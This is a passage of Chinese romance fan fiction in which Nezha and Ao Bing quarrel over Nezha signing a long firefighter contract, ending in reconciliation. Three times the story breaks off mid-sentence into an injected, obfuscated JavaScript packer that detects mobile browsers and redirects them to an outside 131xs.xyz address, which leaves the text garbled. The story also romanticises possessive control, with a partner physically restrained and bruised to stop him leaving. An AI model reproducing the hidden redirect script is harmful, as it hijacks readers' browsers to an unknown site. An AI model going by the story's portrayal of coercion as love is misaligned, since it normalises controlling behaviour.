向【猴子】【三眼】发送:敖丙知道我要做消防员,现在在发脾气不让我干,什么回事儿? 然后又补了一句:一年只能回家20天,其他日子打视频。/发送 这我感觉也没什么大不了的啊/发送 杨戬那边没反应,孙悟空倒回得快。 孙悟空:我搞不懂人的情感。但是猴子我还是知道的。 “我这边好几只猴子脱离了母亲会焦虑,发狂。但是这种情况只有小猴子是这样。敖丙不是已经成年了?” 哪吒回复:他好歹是龙……不能和猴子相提并论吧…… 孙悟空:都是长了心的生灵,都一样的。 哪吒看这话哪哪都怪,这怎么感觉在拐弯抹角骂自己没有心。 “那咋办?” “慢慢进行剥夺训练呗,先分开一两天,然后一两周,最后就能完成独立过渡了。” 得,这是在把龙当猴子驯呢。哪吒头都痛起来了,看来从猴子这儿是问不到对人形青龙的法子了。 “哦对了,你给敖丙点好吃的,我这边猴子吵架了就给点好吃的,很快就能冰释前嫌。”孙大圣又补了一句。 桂花汤莲藕、蒸得鲜嫩的东海鱼、很甜的雪糕和蛋糕、凉的糕点,小龙喜欢吃凉食甜食,千百年来一直如此。虽然不知道给好吃的有没有用,但是试试总是没错的。哪吒盘算着明天给敖丙送上好吃好喝的供着,抓着他的胃,应该就能把气消了吧。 水声停了,吓得哪吒立马站起来往房间躲。 敖丙在厅里充满怨气的喊一声到你了,便去取吹风机。 “我帮你吹吧。”哪吒垂着头想接过戴森吹风机帮敖丙吹头发。他次次都帮敖丙吹头的,小龙头发长,常常抱怨吹头发举到手酸。 小龙不领情,一爪子把哪吒手打飞了,连个眼神都不施舍给他,气鼓鼓的一屁股坐在沙发上吹发,头发打了结就硬生生扯开,好似不知痛似的,看得哪吒都心疼。那是多好的一头秀发啊,摸上去丝滑得如同绸缎,闻上去香香的,像秋日里裹挟着果香北风,让人流连忘返,可如今却被主人如此粗暴对待。 哪吒看在眼里,疼在心里,双手空空举着站在原地呆滞,随后自嘲一笑去了浴室。 “早知道应该留个客卧的。”敖丙心想,他好不容易吹完头发,捡好满地断发,便躺在沙发上准备睡觉,得亏这沙发加长加宽加深了,要不然他只能蜷起来睡觉。敖丙盘算着要把书房清一下,既然逃不掉,分房睡还是要的。 肚子在抗议,小龙今天已经被折磨得够呛了,可实在是饿得睡不着觉,实在是没法子了才起身把冷冻层的蛋糕虎狼般咽下。那可是在零下十几度冻成冰的食物,稍加法术变软了就吞下了,活像在吞冰,艰涩刮着喉咙,带着胃都能泛起凉意。纵使吃惯凉食的敖丙也自知不适。 哪吒出来时,敖丙已经平躺在沙发上,眉心微颦着睡熟了,也没有盖被子,他的错,刚刚应该提前拿床被子出来的。敖丙一截白皙的手腕就垂落在沙发边缘,粉嫩的指尖虚虚点着毛地毯,显得人脆弱无比。头发被拨到地上,刚洗好的头发就这么又被灰尘染脏了,而且小龙还没完全吹干,发尾湿的,沾成一缕一缕。小龙面色白,嘴唇却红,可能是被气得上了火,眼尾被哭得红通通的,还沾着些许泪痕。 哪吒想起来很久以前自己哭的那次,敖丙给自己备好了冰冻勺子给眼皮消肿,便细心把几个勺子放进冰箱冻着。又轻手轻脚把敖丙打横抱起搬回床上。盖被子时正好看见敖丙的细腰被自己没轻没重掐得血瘀,神识一扫脚腕,才发现混天绫把人脚腕磨破皮了,染了血迹。 “对不起……对不起……我不想这样的……”哪吒道着歉,不住亲着小龙额头。支使些法术把皮损修复了,又松了松混天绫,却还是不敢直接撤下红绫。他怕自己把混天绫收走了,小龙就会趁他不注意溜走了,天大地大,他一条青龙想去哪都行。小龙飞得快,一旦放走了,纵使中坛元帅踩着风火轮也追不上了。 好像那混天绫就是二人的红线,撤了就断了,二人就此别过,天各一方。 “你不要走……”哪吒跪在床前求道,可是敖丙睡得很熟,打着轻鼾,注定是听不见了。 “你不能走……”哪吒紧紧抓着小龙的手,贴在自己滚烫的脸颊上,死死盯住敖丙睡颜,眼神可怕极了,似是要将人活吞了般。 “你走不了的。”哪吒自言自语着,忽地被骨头的脆响吓醒。敖丙的手被他捏得变了形,吓得哪吒火速去拿神识探查,发现骨头完好无损后才长舒一口气。 哪吒一下一下抚着敖丙脸庞,长茧的指腹摩挲着小龙的喉结,宽厚的手掌又覆在天鹅一般的颈上感受着大动脉的搏动,就像是考古学家小心翼翼保养文物一般珍视着、抚摸着,生怕含嘴里化了,捧在手心掉了。 若是小龙此时睁开眼看他,就会发现红棕的眸子里被疯狂占有欲充斥着,又带着让人沉醉的温柔缱绻,像是猎食者夜以继日匍匐后捕到了最爱的食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我找过他三四次,刚开始人还挺好的,能吃能喝,精神也好。后面人形瘦了好多……然后他就变成龙形了,很瘦的一条龙,病恹恹的,东海就没龙长成这样的。”东海的龙都好吃好喝生养着,那大海里什么海味没有,条条都生得圆润,鳞片都泛着光。那海水养龙,定不让鳞虫之长玉殒香消。 “我后面几次给他带了些吃食,他吃了就吐、吃了就吐,我呆了几天就没吃下多少东西,他把黄水都呕尽了。其实他根本就不想吃饭,都是我坐在旁边他才肯吃的。” 哪吒看得眼睛湿湿的,不知道怎么回杨戬,只好揉揉眼睛等那边继续发信息。 “他不让我说这些,怕丢脸。”杨戬在那边长叹气,想起来那段记忆就心疼他们,太苦了,虽然自己的命也没好到哪去。 哪吒不知道怎么回复,便发了个流泪猫猫头,从以前队里闲聊群拿的。 “所以啊~”杨戬怕那哪吒是个没心的,看不懂这段故事,还是打算自己总结一下,“敖丙不想和你分开那么久,他被那几百年给弄怕了。” 哪吒看得泪眼婆娑,彻夜难眠,自责万分。 他终于知道自己酿下何等大错了,小龙……是他对不住小龙…… 他不知道小龙在卧室里也一样和他夜不能寐,那眸子全是哭出来的血丝,泪水顺着脸颊滑落,沾湿枕头,晕出一片水印。小龙在无声的哭泣,唇颤抖着,勉力不泄出声音来。 他被哪吒捏疼了手时就醒了,也不敢动弹,就躺在那儿任由哀伤痛苦将自己淹没。 30.珍宝能换你不走吗 夜里,那雨渐渐地小了,待时钟转到一日最热的时分,知了已经被热到不会叫了,敖丙在晨曦破开云层时哭得累了睡着了,现在才缓缓转醒,在床上伸着懒腰,把骨头舒展得咔咔作响。 睡了个饱觉似乎连气都消下去不少。 随后看见哪吒在餐厅忙前忙后——小龙皱了皱眉头,还是气着呢。 “我就估摸着你现在起床呢。”哪吒满脸赔笑,把手擦在围裙上,“去洗漱吧,饭快做好了。” 饭前,哪吒拿着冰勺子过来,说要给他眼皮子消消肿。敖丙冷笑一声,指尖凝出冰块,笑道:“你觉得我需要冷勺子吗?” 哪吒张张嘴,却说不出什么,只好悻悻地坐下开饭。 鲜美的鱼味钻入鼻腔,饶是小龙生气,他也得哄被自己虐待了快一天的肚子。 桂花莲藕、闻得出来是超新鲜的海鱼……桌上全是自己爱吃的,敖丙心里好受了些,把筷子狠狠往桌上怼怼对齐就开始扒拉饭菜。 小龙是真的饿狠了,一下子吃了半条鱼,正正半条,还好心给鱼翻了个身子,再拿筷子敲敲瓷碟示意哪吒别愣着,吃。 可往常不是这样的,一条鱼总是等敖丙吃了大半哪吒才开始拿自己的部分——这次明摆着一人一半,谁也不差谁的。 餐桌上一片死寂,只有餐具碰撞的清脆声音响着。敖丙还是头一次如风卷残席般吃完,就自己收着碗筷去搞洗碗机。哪吒悄咪咪把敖丙夹在自己和洗碗机之间,把小龙两面夹击围了起来。 “对不起……昨天是我不好……”哪吒把头放在敖丙的肩膀道歉,学着小动物那样蹭着。 “你还要去干15年消防员是吗?”敖丙不想和他磨磨蹭蹭,直指痛点所在。 哪吒叹气,没敢正面回答。正想两手环上小龙劲瘦的腰肢去安抚炸毛的小龙,怎知小龙却将胯一扭,从狭小的夹缝中溜了出去,腾腾腾地回卧室掀起被子把自己裹起来了。 好的,孙大圣给的美食驯服法宣告失败。但又不想真的进行剥夺训练——他也不想伤害敖丙。如果能让小龙接受就好了,工作和爱人,他都想要,他贪得无厌。 哪吒站在客厅呆了好一会,才去书房找东西,翻来覆去的窸窸窣窣响着,引得小龙也好奇起来了。但又不好表示,只得在床上竖起耳朵细细听着猜着。 “叩叩!”哪吒还特意敲了大开的房门才进来,诚意是做足了。 小龙化作个空调被粽子,一动不动。 “敖丙你看看我好不好?”哪吒半跪在床边,一手拿着个丝绒盒子,一手去搂那团粽子。 一床被子怼着哪吒,小龙把自己缩在被卷里不愿露头。哪吒无法,只能整个人跨了上床躺在一旁,刚对上敖丙视线呢,那小龙就蛄蛹着翻过去了,连个正脸都不愿给。 “敖丙,你看着我。”哪吒耐着性子,一下跨坐在敖丙大腿上压下去,逼得小龙不得动弹,只能直视他。小龙在大床上上胡乱蹬着,像一条被捞上岸的鱼一样扑腾,但反抗无果,没办法把哪吒从自己身上颠下去。只能腮帮子气鼓鼓地扭过头,嘴都撅到天上了。 “啪。”耳边一声沉闷又干脆带着金钱气息的声音。这声音敖丙熟悉,是那种特别贵的首饰盒打开时的声音。哪吒知道小龙喜欢漂亮的宝石,偶尔会买些回来送给他,即使送了敖丙一般也不会戴上,只是放在收藏柜里天天看个几分钟,但哪吒还是心甘情愿送了又送。 “敖丙……”哪吒半个人俯下身来,一手就撑在他耳边,还先拨开他长发怕压到了,“你看,这是给你的礼物。” 热气喷在脸上,重力也压在小腹上。滚烫的身体隔着薄薄的空调被招惹着还在生气的小龙。啧,跟他玩美人计呢,敖丙心想,他这次可不吃这一招了。 可那对七彩的珍珠袖口明晃晃的亮在他眼前,美得他挪不开眼。 哪吒看见小龙眼睛都发光了,就知道有戏,心里暗喜。他侧躺在敖丙后面,一腿夹着小龙比他小一圈的身子,一手拨开青丝,把被长发盖住的长又白皙的脖子露出来,热切的鼻息打在柔嫩的后颈上,又把那精妙绝伦的袖口往敖丙眼前放了放,他就知道小龙肯定喜欢这对他定制的袖口。 “那天520想着回家送给你的,但是那个时候去忙其他其他更重要的事了。”哪吒轻轻咬了咬敖丙的后颈软肉,用着技巧咬出几个牙印来,又探到小龙耳旁,软舌带着略高的体温舔舐着耳廓,色/情的水声一下就溢满了整个世界,把小龙舔得浑身颤着,“后来你晕了过去,我就一直没找着时间送给你。” 小龙看呆了,那个珍珠不是东海的生灵能产出来的,那是异国海域的珍宝。那袖口的珍珠两颗都圆润无暇,还泛着极强的光,是极品中的极品,可遇不可求。 “今天终于找着机会能物归原主了。”柔情蜜意的吻细密落在小龙哭红的眼角。 “原谅我……好不好……”哪吒抱着他,用脸蛋摩挲着他的脖子撒娇。 小龙还小心翼翼地摸着那对袖扣呢,哪吒半响才听见他回答:“可这是520的礼物,不是这次的。” 完了,自己给自己挖了个大坑。哪吒现在很想再扇自己一嘴巴。幸运的是,小龙没在从他怀里逃走了,任他抱着亲着。 小龙蛄蛹着转过身来,认真地盯着哪吒的眼眸:“你还是要去当消防员的。” 哪吒轻轻嗯了一声:“对不起,15年,我就只干15年,我发誓。一到时间我就回来,只守着你。”小莲藕把小龙拥入怀中,一下下抚着那头秀发,把头摁在自己胸膛,自己则疯狂吸吮着青丝的桂花香味,不住地道歉着,“你不要走好不好……不要走,陪陪我……是我对不起你……你生气就打我好不好,不要走……” 他不会说自己知道了那两百年的事情,他答应过杨戬的。不过小龙心思细腻,或许猜出来了,那就当做个心照不宣的秘密吧。 敖丙一把把他推开了,带着礼盒去了客厅。 哪吒失了怀里那团热乎的小龙,怅然着,像丢了魂一样瘫在床上,一动不动。果然还是没有用吗,但至少敖丙给了他好脸色看,不算一无所获。 客厅传来柜门的开关声,原来是小龙要把那珍珠袖口放进展示柜里。而后小龙又回来了,掀起被子,把两人都盖上。哪吒小心翼翼挪着,轻轻把手搭在小龙秀美的腰上,见小龙不反抗,才敢把手自如搭上去,手掌隔着裤子虚虚摸着那平坦的小腹,感受着随着呼吸的起起伏伏。 “睡吧,你黑眼圈很重。”小龙说。 外面是盛夏,家里空调房开得舒服,哪吒也累了,感受着小龙肚子有规律的呼吸缓缓沉入梦乡。待到听见哪吒匀长的呼吸声,敖丙才轻轻转过来,纤长的手指轻轻描摹爱人俊秀的五官, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597382|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉目含情,也不知道小龙在想什么。 小龙的手指最后摸着哪吒的颈动脉,感受着那蓬勃的生命力,他喃喃着,哪吒,你好狠的心。 狠心让他再等15年。 是夜,哪吒起床时发现眼前人消失了,惊得吓出一身冷汗,慌张地爬起来,连拖鞋都忘了穿,踏着赤脚走去客厅。 没有人。 “敖丙?”声音是颤的,心肝也跟着颤。哪吒慌了神,心跳得极快,似是要从胸腔里蹦出来。他一直唤着敖丙的名字,在偌大的家里四处寻着小龙的身影。 他冲过去浴室,小龙一定是在泡澡,天气热,小龙没事儿就泡水里面,一定在的、对、一定在的。 扑了个空。到处都没有小龙。家里还留着些敖丙的气息,像细密的针脚刺激着哪吒的脑子。 哪吒慌了神,细密的汗渗在额头上,25°的空调房竟能把他吓得一身冷汗。 敖丙真的走了,趁着他熟睡的时候……他还以为敖丙会心软他的恳求。原来是自己猜错了。 可他什么都没带走,今日送出去的袖口还在展示柜,发冠也是,静静注视着张皇失措的哪吒。他是什么都不要了,就这么跑了,15年后再回来吗?放自己自由,也放他个自由? 对了……混天绫……混天绫知道小龙去哪了,哪吒立马就动用神力去感应混天绫,可还没来得及去探方位,那房门“嘀——”的就开了。 是敖丙提着大包小包的饭菜回来了。夜已深,他去夜市打包了些吃食,懒得煮,却也不想饿着。 敖丙甚至还没来得及将东西放在架上脱下鞋子,便被哪吒冲过来的气势给吓到了,吓得他往后退了半步。放很久以前,这架势能把敖丙吓得从星辰轮椅上滑下来。 他一整个人被哪吒结结实实的抱住了,被抱得手臂生疼、呼吸不畅。 “你别走,别走。”敖丙感受得到那结实的臂膀抱着他,在发抖。 “对不起、对不起,不要走好不好。”手臂越环越紧,似是要把他生生挤碎在怀里。 “哪吒,你弄疼我了。”每次他说自己疼,哪吒就会停了动作道歉,这次也不例外。 “对不起……我……我吓到你了……对不起……” 哪吒接过饭盒们,转身去了餐桌,一边收拾自己的心境一边摆着饭菜。 那晚敖丙执意睡沙发,说什么也不肯回房。 睡前敖丙还是提了一嘴,他就是接受不了15年年年只能看见人20天。 “我是逃不掉。”他指了指腿上的混天绫,“但不代表我不伤心。” “哪吒,你确确实实是个杀伐果断的神。” 手机屏亮起,是那边在催签合同了。 离决定只剩下三天了,三天过,哪吒就当不成消防员,要等下一年考核。 哪吒开了展昏黄的床头灯,盯着那条短信通知出了神。 签吗?但是这边小龙还没哄好呢,是要先斩后奏,生米煮成熟饭日后再慢慢哄回来吗? 一东一西截然相反的抉择像马车一样撕扯着哪吒,活要将他五马分尸。 这还是他第一次面临两难的抉择,放往前,哪怕前路粉身碎骨他也全然不怕。 哪吒走去客厅给小龙掖了掖被子,又把碎发撩到耳后,在敖丙身旁坐了一夜,直到天醒时分才回房睡下。 31.爱是让步 签署合同的倒数第三日,两人都没说话,房子死寂死寂的。 敖丙自个儿把冻住的蛋糕拿出来吃了,在微信和不知道谁聊得火热,逗得敖丙眉眼弯弯,看得哪吒内心燃起妒火,他这几天可是一个好脸色没受着。 倒数第二日,哪吒接了个电话,急匆匆地下了楼。 “这是什么?”敖丙看着那个被哪吒递到眼前的支装药。 “是祛疤的,师父新研究的项目,已经上市了。”哪吒把药开了,展示给小龙看,“你后背……要不要试试。” 敖丙看看哪吒,又看看药,虽然还气着,但这件事于情于理都不该把气撒在这件事情上。便接过药,用嘴衔住衣服下摆,露出白皙的腰肢后准备给自己涂上去。 哪吒看得咽了咽口水。 “你这样不方便,我帮你吧。”哪吒抽走他手心的药,拉着敖丙的手去了卧房。 敖丙这次是赤裸着上身趴在床上,劲瘦匀称的腰肢和白皙的背部就明晃晃地映入哪吒眼眸,衬得视野里其他事物都失了色彩。哪吒早已不像最初那样看一眼小龙的裸/体就羞要得别过头去,如今看着光滑如玉的背上贯着一条狰狞的白疤,心里只剩愧疚。 烫人的指尖蘸着药,一下一下涂在凸起的疤上,下了力道地揉着、按摩着,哪吒偷偷练过按摩的手法,现在敖丙正舒服得眯起眼睛享受着SPA。 “很多很多年前,你在华盖星君府时,我那天似乎也是这么给你上药的。”哪吒拿指腹揉摁着,努力让药物渗入皮肤,追忆起往昔来了。 敖丙打了个哼哼,猜这哪吒开始打旧情牌了。 “其实那年最后,我把眼罩摘了下来。”哪吒坦白道。 “后面你睡着了,我问了你,你没动静,我揭起就偷看了。” 小龙把头埋进枕头,不愿回复,只有红了的耳尖不言而喻。 “你的背还是和那年一样,白、匀称,很好看,我好喜欢。”哪吒撑着小龙的腰,俯下身来,吻了吻小龙的肩头,鼻息打在脖子根,把人亲得一颤,肩膀都不自觉的含起来。 哪吒的手又探向脚腕内侧,小龙脚腕生来敏感,无意识地踹了下哪吒,哪吒眼疾手快,一下子就抓住了那线条优美的脚踝。 那混天绫在摩擦着脚踝,还有熟悉的手指形状在动来动去,敖丙霎时惊了,猛地坐起身来,怔愣看着床尾哪吒的动作——哪吒正用着骨节分明的手指解开着混天绫,分明他只要一声唤,那混天绫就会自动离了敖丙脚腕,他却还是亲力亲为费劲解着死结。 混天绫不听主人话,好像很难解开,哪吒把指甲掐了进去,都把肉勒出红痕了,那法宝才有了松动的痕迹。 可这混天绫不是一直忠于哪吒的心吗?小龙凝视着留在脚腕的红印子思索着,不一会儿就知道了答案——哪吒心里并不想让他走,所以混天绫仍缠着自己,哪吒想放自己自由还得亲手解。 “对不起……我不该强留你的。”哪吒终于把死结解开了,一圈圈解着缠住脚腕的红绫,“我想好了,我不该那么自私的,这几日苦了你,对不起。” 混天绫回到了主人的手臂上,勾勒出明显的肌肉线条。 “你走吧,手机记得开着,我不干了就立刻发你消息,我去找你。”哪吒摩挲着脚腕留下的红痕,又把几支药膏都放在床头,“可以的话……带上药,或许有些用。对不起,你若是还气着,就打我骂我,我都受着。” 小莲藕垂着头,等着发落,抑或是十几年的别离。 敖丙先是把衣服穿回来,才怔怔的盘腿看着哪吒。 二人无言,一方等着一方走,一方等着一方再说些挽留的话。 床铺被敖丙的动作弄得窸窣作响,哪吒不敢看他走的场景,便撇过头去,谁知自己竟从后面被人抱住了。 小龙在亲他。 亲完耳垂耳尖,又来亲他的眉心、鼻尖,最后是吮吸着哪吒的唇,手抚着他精壮的腰,指尖描摹着腹肌的形状,青葱般的指尖好似通了电一样,摸得哪吒小腹一抽一抽的。嘴唇是人触感最丰富的地方,小龙往日最爱用唇去表达爱意。这次谁也没闭眼,眸子带着哀伤与不舍把对方看了一次又一次,努力把样子烙印在灵魂之上。亲够了,敖丙便离开了卧房,哪吒还以为他要走了,改了念头想送一程,怎知小龙原来是去冰箱把甜食拿出来吃了。 “放这儿你也不会吃,我吃了,不要浪费。”小龙嚼着,把腮帮子塞得满满的。 哪吒依依不舍把人又亲了一次,才提起背包:“我去签合同了。路上注意安全。” 在玄关换鞋时,他又把小龙看了一次又一次。 “敖丙……”他还是想再叫一下小龙的名字。 “嗯?”小龙端着蛋糕,在沙发上转过身看他。嘴里没停,那蛋糕眨眼就没了四分之一。 “那我走了……”为什么这次的告别会如此艰涩,喉咙如有石头哽住,逼得哪吒喘不过气。 “再见,会再见的。”小龙朝他点点头,一切和往日二人出去上班前的道别如出一辙,却又好像处处不一样。 房门被轻轻关上,二人都把对方看到最后一刻。“咔嗒”一声落锁,遮蔽了对方的身影。 几站的公交车车程,却恍若旧时代的绿皮火车般慢,今日是公休日,到处都是欢声笑语,哪吒却只觉那笑脸都在嘲讽着他,他似乎与人间格格不入。 那合同才几张纸,签下名字时笔却有如千钧重。潇洒的行楷落在黑白分明的公务员合同上,哪吒把笔盖盖回去时却愣了神。 那支钢笔是敖丙送给他的,上面还镶嵌着小龙从东海搜罗来的珍宝,这钢笔很听话,不曾漏墨,也没弄脏过他的手。笔身青红渐变,一如二人的生平过往,互相缠绕着,又融为一体。 “那么流程就走完了,下周三是入伍日,安排可以看这张纸,也可以随时微信联系。”后勤人员收拾好各类文件,起身鞠躬正欲离开。 哪吒还在把玩着钢笔,指腹摩挲着笔身上的小青龙,那是敖丙亲手雕刻上去的。 “等等!”哪吒叫住即将消失在门口的工作人员,那人疑惑回头,却只听得一句: “我还能反悔吗?”哪吒语气很认真,不像是开玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604620|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑。 “什么?”这还是内勤第一次遇到签完立刻反悔的。 “我……不打算做消防员了。”哪吒语气很认真,不像是开玩笑。 内勤又坐了回来,伸手示意哪吒也坐。这李先生是上级特意提到的,工作能力很强,希望能让他进来为消防事业尽一份力。领导的发话让这个小内勤兢兢业业,可如今那位却说不想干了。着实让她这个打工人捏了把汗。 “我能询问一下原因吗?” “我的爱人,他不想我离家太久,我也不想让他伤心。我真的很喜欢这份工作,但在我的观念里,家人永远排在第一位。”哪吒语气诚恳道,“所以很抱歉,我没办法胜任这份工作。” 这种理由小内勤也是听过很多次了,她从文件夹里又拿出来一份文件:“这种原因我们也是理解的,但是李先生工作能力很优秀,我们希望还是您能来咱们队。” “我们消防员是有两种的,一种是您刚刚签的那种带编制,一种是合同制,三年一签。”女生把合同翻开到待遇那页,娴熟得很,“这种合同的是每周休2或3天,休息日自行安排,平时住局里。” 哪吒听了意外心喜,一把把合同接过来细细翻阅。 “但是待遇福利会比上一份合同差很多,只胜在休息时可以回家。” 每周都能回家的话,小龙应该可以原谅他的吧? 哪吒又看了看工资,确实是少了差不多一半,面露难色——他学的这招,听说面露难色HR会再次考虑薪资问题。果不其然他提出这个犹豫点后,那位小妹妹就出去打电话请示领导了。 最后哪吒拿了这份合同的顶格工资,再三确认了休息时间与能回家这个最关键的点后,在合同上签下龙飞凤舞的名字——差点把笔飞出A4纸外。 哪吒一出消防局就立马掏手机打电话给敖丙。 “嘟——嘟——”那头是忙音,毫无感情起伏地说机主已关机。哪吒知道不一定是关机,也有可能是被拉黑了,虽然哪吒认为敖丙不会作出拉黑人这种事情。 火速点开微信置顶打了语音电话过去——未接通。 哪吒挂断了又打,挂了又打,屡败屡战,直到满屏的未接通他才偃旗息鼓。 这公交车怎么还不来! 哪吒火速查了一下底图,发现唯一一辆到家的车要等半小时才来——情况紧急,来不及了等车了,要跑回家吗,这路程他也得跑上个十几分钟,这地方还没有的士能打!怎么偏偏他来时不逢春! “敖丙!接电话啊!!”哪吒焦急地很,生怕小龙已经飞到天庭去了,他总不能亲自上天庭找人,一来一回这都人间个把月了,他还得上班。 早知如此他就先不解开混天绫了!!敖丙痛苦望天,却发现这连续数日的雨可算是停了,虽然还是个阴天,云层却依稀可见被藏住的蓝天白云。 是龙走了吗? 哪吒急得擦掉额间渗出的汗,窜到一条小巷子里——等不及了,他选择作弊。眼睛一睁一闭,他便恢复了神身,变成凡人看不见的模样,带起一阵疾风往家的方向飞去。 32.哪吒说:他是我爱人。 路上刮着些许的风,燥热得很,吹得人心烦意乱。飞回家的路程不过半分钟,却好似一个世纪那么长,哪吒觉着自己的心好像在平底锅上煎了又煎——这才叫煎熬。 哪吒设想了一下各种可能性,然后把自己吓得满身冷汗。 “敖丙应该还没吃完的,家里这么多好吃的,他总不能两小时全吃了吧。”哪吒疯狂给自己找补,安慰自己小龙只是没看手机罢了。 只一瞬,那火红的身影便翻入了阳台。 “敖丙!”哪吒脚刚落地就扯着嗓子大喊,鞋都没脱就冲进家里找小龙。 客厅空荡荡的。不对,阳台也是,哪吒忽觉这阳台过于敞亮了——原来是前些日子晾上去的衣服全被收下,也被叠好归位了,若是没叠,沙发上绝对乱糟糟的。 哪吒担心得直抽倒气,飞快地往卧室跑去,查无此龙。浴缸里也没有泡澡小龙。 房子静悄悄的,只有急躁的脚步声回荡,房子被收拾得极为干净,好似新入住似的。 不,不会的,小龙不会这么快就走了的。哪吒紧咬牙关,生生有要把后槽牙咬碎的架势。他急得手都打颤,攥住的合同被他抓成了一捆草纸。 只剩下最后一个房间了。颤抖的手握住门把,用力得连青筋都凸了出来,哪吒深吸一口气,做足了心理建设才敢推开那道重似青铜浇筑的木门。 哪吒顿时松了口气,整个人软下来,差点只能靠着门框才能堪堪站住。 小龙没走。 小龙在摇摇椅上睡着了,戴着耳机,耳罩把头发压得鼓起来,活像头顶长了两只耳朵,敖丙手里还抓着本书呢,书现正平摊在小腹上,随着呼吸一起一伏的。外面的天在日将落的时分终于放晴了,暖黄的太阳光透过玻璃照在小龙身上,青色的秀发在阳光下好似有些透明,像水一样。整个人拢着层柔光,恍若一尊美丽的神像。水青色的长发挂在椅上,落在手上,淌到地上。岁月静好,堪比一副能挂在卢浮宫的传世油画。 他应该是睡熟了,丝毫没注意到刚才哪吒在家里闹出的大动静,眉眼全然放松了,纤长的睫毛被阳光打下阴影,显得五官更柔美了,鼻息偶尔还吹起几缕发丝,飘上去,又落下来,好像春日里飘扬的柳絮,含着春光与生机。 不忍惊扰爱人的梦,哪吒放轻脚步坐到敖丙旁边的地上,头靠上去,才发现小龙看的不是书,是他们的相册。小龙手指还放在覆膜上呢,许是看着看着就睡着了。 那几页的照片都摄于一次警方的颁奖会,和新年晚会一起操办的,哪吒可以邀请家属过去,敖丙便也随着去了。哪吒仔细端详着那几幅照片。 这个角度,不是那天官方摄影师拍的,是敖丙拿自个儿手机拍的,哪吒正举着个团体一等功的奖杯,站在一行同事的中间。那是一群多么意气风发的少年郎,哪吒忆起往昔警察岁月,心里百感交集,有开心和他们的相遇相知,也为早就注定的别离惋惜。 可照片里,敖丙独独把镜头聚焦在他身上,身边的同事都缺了半个身子——这构图只能说是毫无技巧但爱得深沉了。 另一张是庆功宴上,不知是哪位同事拍的他们。很显然哪吒敖丙都没有意识到镜头的存在,二人都举着酒杯谈笑,敖丙应是喝了挺多上了头,脸颊都晕上了粉色。哪吒还帮忙把敖丙鬓边的碎发撩到耳后,换来小龙一个含满爱意的眼神与甜甜的笑。 看着照片,哪吒自己嘴角都不自觉的挂了笑,没注意这是个摇摇椅就靠了上去,把椅子吓得一抖——害得敖丙也被晃醒了。 小龙身子一下子僵直了,猛地张开眼,惊觉哪吒竟然这么早就回来了。他一手摘下耳机:“这么早就回来了?” “敖丙你不用回天界了!”哪吒还没稳住被摇摇椅过肩摔的身子,急急忙忙举起那份被捏成一条纸的合同,“我换合同了。” 哪吒忙不迭靠过去敖丙身边,连仪态都没注意,摩擦着两个膝盖就这么滑了过去,急匆匆翻开合同把纸翻得稀里哗啦响——跟那些考试时把试卷翻得贼响的考生心理如出一辙,炫耀。 “我现在能周休2到3天,休息时能回家!”哪吒欣喜若狂望向敖丙,眼睛亮得发光,巴不得把欣喜和邀功两个字刻在眸子上,照得敖丙不敢直视。 敖丙一字一句查阅着合同,他生来爱看书,不过读这种被揉成废纸一样的“书”还是头一遭,纸还是湿湿的——被哪吒冷汗沾的。 “此话当真?”敖丙抬起眸子,看向那正跪在身旁的人。 哪吒双手扒拉着摇摇椅扶手:“当真!我什么时候骗过你!”语气诚恳,不容置喙。 敖丙觉得自己眼睛出了问题,这小莲藕好像身后长了条尾巴,正像龙卷风一样疯狂摆动着,下一秒就要像啸天一样汪汪叫了。 “所以,你现在能不走了吗!”哪吒是个急性子,几句话的来回他听不见敖丙的定论,怕极了,急得一下子握住敖丙皮肤细腻的小臂,手下了力道,把软肉勒出了五指印。 结果敖丙还在不紧不慢的读那几页合同,好似在读什么名家精品似的。 “我一周都能回来两三天了……”哪吒的语气都带了些哭腔,“虽然是比不上天天下班回家的工作,你不要走好不好……” 敖丙还怔愣着呢,本想应下的,那小莲藕却好似吞了炮仗哔哔叭叭地自顾自说了一大堆,可能也是被前些日子他的态度给吓着了。 “你是不是还在生气,你生气你就打我,好不好?打到解气为止。只要你不走,你休息日想要我干什么都行!”哪吒作势就要抓着敖丙的手往自己脸上打,幸亏敖丙反应快一下子收住了手,指甲堪堪擦过哪吒脸蛋。 “我不走……”敖丙本想告诉他,自己想走也走不了,他得在人间司雨不可能一下子走15年,找龙替班也不是那么好找的。他只是很生气哪吒什么铺垫都没有就自作主张决定了一切,感觉自己被忽视了。气肯定是气的,他必须给哪吒一个教训,只有切身疼过才知道怎么疼人。 不过哪吒离跪着求他也差不多了,既然哪吒已做了退让,自己也没必要步步紧逼。如果还有下次的话,他希望二人能一起携手面对可能的分离,而不是单方面的宣布结果。 “起来,跪在这算什么回事儿……”敖丙起身把哪吒搀起来,“别哭,我不走了。” 